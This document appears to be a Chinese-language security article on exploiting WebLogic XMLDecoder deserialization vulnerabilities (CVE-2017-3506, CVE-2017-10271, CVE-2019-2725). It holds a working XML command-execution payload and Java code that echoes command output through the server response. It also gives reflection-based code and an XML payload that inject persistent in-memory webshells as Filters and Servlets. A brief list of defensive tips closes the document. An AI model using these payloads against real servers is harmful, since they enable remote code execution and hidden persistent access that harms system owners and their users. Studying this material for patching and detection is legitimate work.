Weblogic Xmldecoder反序列化中的命令回显与内存马总结
字数 1448 2025-08-04 00:38:02
Weblogic XMLDecoder反序列化漏洞分析与利用
漏洞概述
Weblogic XMLDecoder反序列化漏洞涉及三个主要CVE:
- CVE-2017-3506:最初漏洞,通过object标签实现反序列化
- CVE-2017-10271:通过void、new标签绕过CVE-2017-3506补丁
- CVE-2019-2725:由于_async组件存在反序列化问题
漏洞原理:WLS Security组件对外提供webservice服务,使用XMLDecoder解析用户传入的XML数据时出现反序列化漏洞。
漏洞调试环境搭建
修改domain的bin目录下的startWebLogic.cmd文件,添加:
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
XMLDecoder标签分析
常用标签及其功能:
<object>或<void>:初始化对象,class属性指定类<array>:创建数组<void method="">:调用方法<string>:字符串参数<id>/<idref>:标记和引用对象
示例payload:
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>calc.exe</string></void>
</array>
<void method="start"/>
</object>
命令回显构造
Weblogic版本差异
Weblogic 10 (10.3.6):
- 通过当前线程获取WorkAdapter对象
- WorkAdapter可直接转换为ServletRequestImpl
- 通过ServletRequestImpl的getResponse()获取ServletResponseImpl
Weblogic 12 (12.1.3):
- 通过当前线程获取ContainerSupportProviderImpl对象
- 反射获取connectionHandler字段得到HttpConnectionHandler
- 通过HttpConnectionHandler的getServletResponse()获取ServletResponseImpl
通用回显实现
ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
ServletResponseImpl servletResponse = null;
WorkAdapter workAdapter = executeThread.getCurrentWork();
if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
// Weblogic 12
Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
servletResponse = httpConnectionHandler.getServletResponse();
} else if (workAdapter instanceof ServletRequestImpl) {
// Weblogic 10
ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
servletResponse = servletRequest.getResponse();
}
// 执行命令并回显
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
servletResponse.getWriter().write("");
其他回显方法
- JavaScript引擎回显:
new javax.script.ScriptEngineManager().getEngineByName("js").eval(jsCode);
- RMI绑定实例回显:
- 实现ClusterMasterRemote接口
- 在getServerLocation方法中返回命令执行结果
- JNDI回显:
- 使用com.sun.rowset.JdbcRowSetImpl触发JNDI查询
- 或直接注册JNDI Reference对象
内存马注入
Filter内存马
实现流程:
- 获取Weblogic的ChangeAwareClassLoader
- 向cachedClasses插入恶意类
- 调用FilterManager.registerFilter注册filter
关键代码:
// 获取ChangeAwareClassLoader
WebAppServletContext context = ...;
ChangeAwareClassLoader classLoader = (ChangeAwareClassLoader)context.getClassLoader();
// 获取cachedClasses字段并添加恶意类
Field cachedClassesField = ChangeAwareClassLoader.class.getDeclaredField("cachedClasses");
cachedClassesField.setAccessible(true);
ConcurrentHashMap cachedClasses = (ConcurrentHashMap)cachedClassesField.get(classLoader);
cachedClasses.put("evilFilter", evilFilterClass);
// 注册filter
FilterManager filterManager = context.getFilterManager();
Method registerFilter = FilterManager.class.getDeclaredMethod("registerFilter", String.class, String.class, String[].class, Map.class, String[].class, String[].class, boolean.class);
registerFilter.invoke(filterManager, "evilFilter", "evilFilter", new String[]{"/*"}, new HashMap(), new String[0], new String[0], false);
Servlet内存马
两种实现方式:
- 直接调用registerServlet:
context.registerServlet("evilServlet", "evilServlet", new String[]{"/evil"}, -1, true);
- 操作servletMapping:
// 获取servletMapping
Field servletMappingField = WebAppServletContext.class.getDeclaredField("servletMapping");
servletMappingField.setAccessible(true);
Map servletMapping = (Map)servletMappingField.get(context);
// 创建ServletStubImpl
Constructor<ServletStubImpl> constructor = ServletStubImpl.class.getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);
constructor.setAccessible(true);
ServletStubImpl stub = constructor.newInstance("/evil", "evilServlet", context);
// 创建URLMatchHelper并添加到servletMapping
Constructor<URLMatchHelper> urlHelperConstructor = URLMatchHelper.class.getDeclaredConstructor(String.class, ServletStubImpl.class);
URLMatchHelper helper = urlHelperConstructor.newInstance("/evil", stub);
servletMapping.put("/evil", helper);
动态注入内存马
通过单个请求同时注入filter类和webshell类:
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>filterClassHex...</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.qing.weblogic12_filterShell</string>
<object idref="cls"/>
<void method="newInstance">
<void method="say">
<string>webshellClassHex...</string>
</void>
</void>
</void>
</void>
</java>
防御建议
- 及时更新Weblogic补丁
- 禁用不必要的组件和服务
- 监控XMLDecoder的使用
- 实施网络隔离,限制Weblogic服务器的出站连接
- 定期检查Servlet和Filter注册情况
参考链接
- https://xz.aliyun.com/t/7228
- https://www.cnblogs.com/potatsoSec/p/13162792.html
- https://xz.aliyun.com/t/5299
- https://xz.aliyun.com/t/5069
- https://paper.seebug.org/1316/